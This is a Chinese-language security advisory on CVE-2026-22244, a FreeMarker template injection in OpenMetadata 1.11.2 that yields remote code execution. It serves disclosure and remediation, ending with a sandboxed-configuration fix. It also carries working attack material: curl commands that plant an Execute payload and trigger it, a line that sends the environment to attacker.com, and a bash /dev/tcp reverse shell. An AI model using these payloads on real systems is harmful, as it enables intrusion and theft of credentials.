OpenMetadata服务端模板注入漏洞导致远程代码执行

本文详细分析了OpenMetadata服务端模板注入漏洞的技术细节、攻击向量和验证方法,并提供了相应的修复方案。该漏洞涉及代码缺陷、恶意模板注入以及权限验证等问题,具有较高的安全风险。

OpenMetadata的服务端模板注入漏洞导致远程代码执行

漏洞描述
OpenMetadata在版本1.11.2中存在一个远程代码执行漏洞,该漏洞源于其FreeMarker邮件模板中的服务端模板注入问题。

漏洞细节

  1. 根本原因
    文件位置:openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java
    第35-45行存在不安全的FreeMarker模板实例化代码:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public Template getTemplate(String templateName) throws IOException {
    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
    String template = emailTemplate.getTemplate(); // ← 来自数据库的用户控制内容
    
    if (nullOrEmpty(template)) {
        throw new IOException("Template content not found for template: " + templateName);
    }
    
    return new Template(
        templateName, 
        new StringReader(template),  // ← 渲染不受信任的模板
        new Configuration(Configuration.VERSION_2_3_31)); // ← 不安全:无安全限制!
}

缺失的安全控制

  • ❌ 未设置setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) - 允许任意类实例化
  • ❌ 未设置setAPIBuiltinEnabled(false) - 启用了反射的?api内置功能
  • ❌ 无输入验证 - 模板内容未经清理
  1. 攻击向量(已验证)
    步骤1: 攻击者使用管理员角色通过PATCH端点修改EmailTemplate
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
PATCH /api/v1/docStore/{templateId}
Authorization: Bearer <admin_jwt_token>
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/data/template",
    "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>"
  }
]

步骤2: 恶意模板存储在MySQL数据库中:

1
2
3
4
5
SELECT name, JSON_EXTRACT(json, '$.data.template') 
FROM docstore 
WHERE name = 'account-activity-change';

-- 返回:<#assign ex=\"freemarker.template.utility.Execute\"?new()>...

步骤3: 通过电子邮件通知触发模板渲染:

  • 密码更改
  • 用户邀请
  • 账户活动通知
  • 测试邮件(如果配置了SMTP)

步骤4: 在DefaultTemplateProvider.getTemplate()中执行RCE:

1
2
Template template = templateProvider.getTemplate("account-activity-change");
template.process(model, stringWriter); // ← 命令在此处以服务器用户身份执行!

漏洞验证
环境

  • 版本:OpenMetadata 1.11.2(最新版)
  • 平台:Docker Compose(MySQL 8.0 + Elasticsearch 8.11.4)
  • 测试日期:2025年12月15日

分步复现

  1. 部署OpenMetadata 1.11.2
1
2
cd docker
./run_local_docker.sh -m no-ui -d mysql

结果:✅ OpenMetadata运行在localhost:8585

  1. 获取管理员JWT令牌
1
2
3
4
5
6
7
export NO_PROXY=localhost,127.0.0.1
TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \
  | grep -o '"accessToken":"[^"]*' | cut -d'"' -f4)

echo "Token: ${TOKEN:0:50}..."

结果:✅ 获取令牌(654个字符,1小时有效期)

  1. 识别目标模板
1
2
3
4
# 获取testMail模板ID(由测试邮件端点使用)
curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \
  -H "Authorization: Bearer $TOKEN" \
  | jq -r '.data[] | select(.name=="testMail") | .id'

结果:✅ 模板ID:855f58c6-1b80-467a-b92e-71c425e9bfdb

  1. 注入RCE负载
1
2
3
4
5
6
7
8
curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \
  -H "Content-Type: application/json-patch+json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{
    "op": "replace",
    "path": "/data/template",
    "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
  }]'

结果:✅ HTTP 200 OK - 模板修改成功

  1. 设置SMTP服务器
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# 启动MailDev SMTP服务器(捕获邮件进行验证)
docker run -d --name fakesmtp \
  --network linhln31_default \
  -p 1025:1025 -p 1080:1080 \
  maildev/maildev:latest

# 更新OpenMetadata SMTP配置
docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \
  -Dopenmetadata_db -e "UPDATE openmetadata_settings 
  SET json=JSON_SET(json, 
    '$.serverEndpoint', 'fakesmtp', 
    '$.serverPort', 1025, 
    '$.transportationStrategy', 'SMTP',
    '$.enableSmtpServer', true,
    '$.senderMail', 'noreply@openmetadata.org'
  ) 
  WHERE configType='emailConfiguration';"

# 重启OpenMetadata以加载新的SMTP配置
docker restart om_server
sleep 50  # 等待服务器启动

结果:✅ SMTP服务器在fakesmtp:1025准备就绪

  1. 触发RCE执行
1
2
3
4
curl -X PUT "http://localhost:8585/api/v1/system/email/test" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"email":"test@test.com"}'

结果:✅ HTTP 200 OK - “测试邮件发送成功。”

  1. 验证RCE执行
1
2
# 检查MailDev中的邮件内容
docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10

结果:✅ RCE已确认!

攻击场景
场景1:权限提升

  1. 攻击者获取管理员账户
  2. 在密码重置模板中注入RCE负载
  3. 为目标用户触发密码重置
  4. RCE在邮件渲染期间以OpenMetadata服务器用户身份执行
  5. 攻击者获得应用服务器的shell访问权限

场景2:数据泄露

1
2
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")}

泄露包含以下内容的环境变量:

  • 数据库凭证
  • API密钥和秘密
  • JWT签名密钥
  • 云提供商凭证

场景3:反向shell

1
2
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}

建立持久访问以进行:

  • 交互式命令执行
  • 横向移动到连接的系统
  • 直接访问数据库
  • Kubernetes集群危害(如果是容器化部署)

影响评估
技术影响

  • 机密性:高 - 访问数据库凭证、API密钥、秘密
  • 完整性:高 - 完全控制OpenMetadata应用和数据
  • 可用性:高 - 能够崩溃应用、删除数据、拒绝服务

业务影响

  • 数据泄露:访问所有元数据,包括敏感模式信息、PII映射、数据沿袭
  • 合规性:如果被利用,可能违反GDPR、SOC2、HIPAA
  • 声誉:数据治理平台中的严重安全故障
  • 供应链:可能横向移动到连接的数据源(70多个连接器)

CVSS 3.1评分
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
评分:9.1(严重)

修复方案
立即修复(关键)
文件:openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java
将第38-42行替换为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
public Template getTemplate(String templateName) throws IOException {
    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
    String template = emailTemplate.getTemplate();
    
    if (nullOrEmpty(template)) {
        throw new IOException("Template content not found for template: " + templateName);
    }
    
    // 安全修复:创建沙盒化的FreeMarker配置
    Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
    
    // 阻止危险的内置功能
    cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
    cfg.setAPIBuiltinEnabled(false);
    cfg.setClassicCompatible(false);
    
    // 限制模板加载
    cfg.setTemplateLoader(new StringTemplateLoader());
    
    return new Template(templateName, new StringReader(template), cfg);
}

参考

CVE ID
CVE-2026-22244

GHSA ID
GHSA-5f29-2333-h9c7

来源
open-metadata/OpenMetadata

贡献者

  • lnlinh31(报告者)
  • manerow(修复开发者)
  • TeddyCr(修复审核者)
  • pmbrull(修复验证者)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计